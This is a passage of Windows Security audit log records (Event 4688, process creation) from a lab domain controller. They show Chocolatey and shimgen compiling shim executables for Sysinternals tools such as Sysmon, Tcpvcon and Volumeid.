-ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246925 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Tcpvcon.exe" --output="C:\ProgramData\chocolatey\bin\Tcpvcon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Tcpvcon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES141A.tmp" "c:\ProgramData\chocolatey\bin\CSCA85B08335F9E43D49E2E604A6CFBF78C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246922 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb4c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246921 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe94 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Sysmon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246920 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x838 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe94 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246919 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Sysmon64.exe" --output="C:\ProgramData\chocolatey\bin\Sysmon64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Sysmon64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246918 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1340.tmp" "c:\ProgramData\chocolatey\bin\CSC57D2DA4FC786404D9B9129EF9B846B43.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246917 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x994 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246916 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xecc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Sysmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246915 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xecc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246914 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xecc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Sysmon.exe" --output="C:\ProgramData\chocolatey\bin\Sysmon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Sysmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246913 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x57c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1265.tmp" "c:\ProgramData\chocolatey\bin\CSCA6DADB57FB70481B87A749ED389B826C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246957 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246956 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf18 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Volumeid.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246955 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf18 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246954 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Volumeid.exe" --output="C:\ProgramData\chocolatey\bin\Volumeid.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Volumeid.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246953 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x42c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf84 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES196A.tmp" "c:\ProgramData\chocolatey\bin\CSCEF8329A0BA16457EB8C96AB5E044676.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated 